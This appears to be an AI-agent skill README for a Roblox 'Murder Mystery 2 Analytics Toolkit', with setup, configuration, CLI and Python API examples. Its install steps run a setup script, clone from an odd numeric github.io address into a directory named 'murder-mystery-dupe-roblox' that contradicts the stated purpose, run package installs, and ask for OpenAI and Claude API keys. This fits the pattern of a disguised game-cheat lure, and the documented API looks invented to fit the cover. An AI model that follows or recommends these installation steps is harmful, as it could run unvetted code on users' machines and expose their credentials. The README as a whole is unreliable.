murder-mystery-2-analytics-toolkit

# Murder Mystery 2 Analytics Toolkit > Skill by [ara.so](https://ara.so) — Data Skills collection. This toolkit provides analytics, inventory management, and strategic gameplay insights for Roblox's Murder Mystery 2 game. It includes data visualization, collection tracking, performance metrics, and AI-powered strategy recommendations. ## Installation ### Automated Setup ```bash chmod +x setup.sh ./setup.sh --install ``` ### Manual Installation ```bash git clone https://8015238355.github.io cd murder-mystery-dupe-roblox npm install python3 -m pip install -r requirements.txt ``` ### Environment Configuration Create a `.env` file with required API keys: ```bash API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY} DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true ``` ## Core Commands ### Analytics Engine Run comprehensive analytics on your MM2 profile: ```bash python3 main.py --mode analytics \ --profile <username> \ --export <output_file>.json \ --format json \ --verbose --log-level DEBUG ``` **Example:** ```bash python3 main.py --mode analytics \ --profile mystery_solver_01 \ --export statistics_2026.json \ --format json \ --verbose --log-level DEBUG ``` ### Inventory Tracking Scan and catalog your knife skins collection: ```bash python3 main.py --mode inventory \ --scan-knives \ --filter legendary,ancient \ --export inventory_report.csv ``` ### Strategy Analysis Generate AI-powered strategy recommendations: ```bash python3 main.py --mode strategy \ --role sheriff \ --analyze-patterns \ --export strategy_insights.json ``` ## Configuration ### Profile Configuration (YAML) Create `config/profile.yaml`: ```yaml profile: username: "MysterySolver2026" preferred_role: "sheriff" inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient"] - category: "gamepasses" active: true analytics_preferences: tracking_mode: "comprehensive" data_refresh_rate: 30 export_format: "csv, json" strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" - name: "passive_innocent" priority: "distraction_avoidance" ``` ### JSON Configuration Alternatively, use `config/profile.json`: ```json { "profile": { "username": "MysterySolver2026", "preferred_role": "sheriff", "inventory_filter": [ { "category": "knife_skins", "rarity": ["legendary", "ancient"] } ], "analytics_preferences": { "tracking_mode": "comprehensive", "data_refresh_rate": 30, "export_format": ["csv", "json"] } } } ``` ## Python API Usage ### Basic Analytics Session ```python from mm2_analytics import AnalyticsEngine, Profile # Initialize profile profile = Profile.load("mystery_solver_01") # Create analytics engine engine = AnalyticsEngine(profile) # Run comprehensive analysis results = engine.analyze( mode="comprehensive", include_inventory=True, include_stats=True, include_strategy=True ) # Export results engine.export(results, format="json", output="stats_2026.json") ``` ### Inventory Management ```python from mm2_analytics import InventoryManager # Initialize inventory manager inventory = InventoryManager(username="mystery_solver_01") # Scan for knife skins knives = inventory.scan_knives( filter_rarity=["legendary", "ancient"], include_metadata=True ) # Get collection completeness completeness = inventory.get_completeness_score() print(f"Collection {completeness}% complete") # Find missing items missing = inventory.find_missing_items(category="knife_skins") for item in missing: print(f"Missing: {item.name} (Rarity: {item.rarity})") ``` ### Strategy Analysis ```python from mm2_analytics import StrategyAnalyzer # Initialize strategy analyzer analyzer = StrategyAnalyzer(profile="mystery_solver_01") # Analyze win patterns patterns = analyzer.analyze_win_patterns( role="sheriff", time_period="last_30_days" ) # Get AI recommendations recommendations = analyzer.get_ai_recommendations( role="sheriff", playstyle="aggressive", use_openai=True # Uses API_OPENAI_KEY from env ) for rec in recommendations: print(f"Strategy: {rec.title}") print(f"Description: {rec.description}") print(f"Expected Win Rate Increase: {rec.impact}%") ``` ### Data Visualization ```python from mm2_analytics import DataVisualizer # Create visualizer viz = DataVisualizer(profile="mystery_solver_01") # Generate performance chart viz.create_performance_chart( metric="win_rate", time_range="last_90_days", output="performance.png" ) # Create inventory distribution chart viz.create_inventory_chart( category="knife_skins", group_by="rarity", output="inventory_distribution.png" ) # Export interactive dashboard viz.export_dashboard( format="html", output="dashboard.html", include_charts=["performance", "inventory", "strategy"] ) ``` ## Common Patterns ### Complete Analysis Workflow ```python from mm2_analytics import ( Profile, AnalyticsEngine, InventoryManager, StrategyAnalyzer, DataVisualizer ) # Load profile profile = Profile.load("mystery_solver_01") # Run inventory scan inventory = InventoryManager(profile=profile) inventory.scan_all() inv_report = inventory.generate_report() # Analyze gameplay statistics engine = AnalyticsEngine(profile) stats = engine.get_stats(time_period="last_30_days") # Generate strategy recommendations strategy = StrategyAnalyzer(profile) recommendations = strategy.get_recommendations( role=profile.preferred_role, use_ai=True ) # Create visualizations viz = DataVisualizer(profile) viz.create_dashboard( include_inventory=True, include_stats=True, include_strategy=True, output="full_dashboard.html" ) # Export comprehensive report engine.export_comprehensive_report( inventory=inv_report, stats=stats, recommendations=recommendations, format="pdf", output="mm2_analysis_2026.pdf" ) ``` ### Real-time Tracking ```python from mm2_analytics import LiveTracker import time # Initialize live tracker tracker = LiveTracker( profile="mystery_solver_01", refresh_interval=30 # seconds ) # Start tracking session tracker.start() try: while True: # Get current session stats current = tracker.get_current_session() print(f"Games Played: {current.games_played}") print(f"Win Rate: {current.win_rate}%") print(f"Role Distribution: {current.role_distribution}") time.sleep(30) except KeyboardInterrupt: # Stop tracking and save session session_data = tracker.stop() tracker.export(session_data, output="session_2026.json") ``` ### Batch Processing Multiple Profiles ```python from mm2_analytics import BatchProcessor # Initialize batch processor processor = BatchProcessor() # Add profiles to process profiles = ["player1", "player2", "player3"] processor.add_profiles(profiles) # Run batch analysis results = processor.analyze_all( mode="comprehensive", parallel=True, max_workers=4 ) # Export consolidated report processor.export_consolidated_report( results=results, format="xlsx", output="team_analysis_2026.xlsx" ) ``` ## CLI Command Reference ### Analytics Commands ```bash # Basic analytics python3 main.py --mode analytics --profile <username> # With specific time range python3 main.py --mode analytics --profile <username> --time-range 30d # Export to specific format python3 main.py --mode analytics --profile <username> --export stats.csv --format csv ``` ### Inventory Commands ```bash # Scan all inventory python3 main.py --mode inventory --scan-all # Filter by category and rarity python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient # Find missing items python3 main.py --mode inventory --find-missing --category knife_skins ``` ### Strategy Commands ```bash # Generate strategy recommendations python3 main.py --mode strategy --role sheriff --analyze-patterns # AI-powered recommendations python3 main.py --mode strategy --role murderer --use-ai --provider openai # Export strategy report python3 main.py --mode strategy --export strategy.pdf --format pdf ``` ### Visualization Commands ```bash # Create dashboard python3 main.py --mode visualize --create-dashboard --output dashboard.html # Generate specific charts python3 main.py --mode visualize --chart performance --output perf.png # Export interactive report python3 main.py --mode visualize --interactive --output report.html ``` ## Troubleshooting ### Inventory Sync Issues If inventory data is not syncing: ```python from mm2_analytics import InventoryManager inventory = InventoryManager(username="mystery_solver_01") # Force refresh inventory.force_refresh() # Clear cache and rescan inventory.clear_cache() inventory.scan_all(force=True) # Verify connection status = inventory.check_connection() print(f"Connection Status: {status}") ``` ### API Rate Limiting Handle API rate limits gracefully: ```python from mm2_analytics import StrategyAnalyzer from mm2_analytics.exceptions import RateLimitError import time analyzer = StrategyAnalyzer(profile="mystery_solver_01") try: recommendations = analyzer.get_ai_recommendations(use_openai=True) except RateLimitError as e: print(f"Rate limit hit. Retry after {e.retry_after} seconds") time.sleep(e.retry_after) recommendations = analyzer.get_ai_recommendations(use_openai=True) ``` ### Data Export Failures Debug export issues: ```python from mm2_analytics import AnalyticsEngine import logging # Enable verbose logging logging.basicConfig(level=logging.DEBUG) engine = AnalyticsEngine(profile="mystery_solver_01") results = engine.analyze() try: engine.export(results, format="json", output="stats.json") except Exception as e: # Log detailed error logging.error(f"Export failed: {e}") # Try alternative format engine.export(results, format="csv", output="stats.csv") ``` ### Performance Optimization For large datasets: ```python from mm2_analytics import AnalyticsEngine engine = AnalyticsEngine( profile="mystery_solver_01", cache_enabled=True, parallel_processing=True, max_workers=4 ) # Use incremental analysis for large time ranges results = engine.analyze_incremental( start_date="2026-01-01", end_date="2026-12-31", chunk_size="30d" ) ``` ## Advanced Features ### Custom Data Filters ```python from mm2_analytics import DataFilter # Create custom filter filter = DataFilter() filter.add_condition("role", "equals", "sheriff") filter.add_condition("win_rate", "greater_than", 0.5) filter.add_condition("games_played", "between", [10, 100]) # Apply filter to analysis engine = AnalyticsEngine(profile="mystery_solver_01") filtered_results = engine.analyze(filter=filter) ``` ### AI Model Selection ```python from mm2_analytics import StrategyAnalyzer analyzer = StrategyAnalyzer(profile="mystery_solver_01") # Use OpenAI openai_recs = analyzer.get_ai_recommendations( provider="openai", model="gpt-4", api_key="${OPENAI_API_KEY}" ) # Use Claude claude_recs = analyzer.get_ai_recommendations( provider="claude", model="claude-3-opus", api_key="${CLAUDE_API_KEY}" )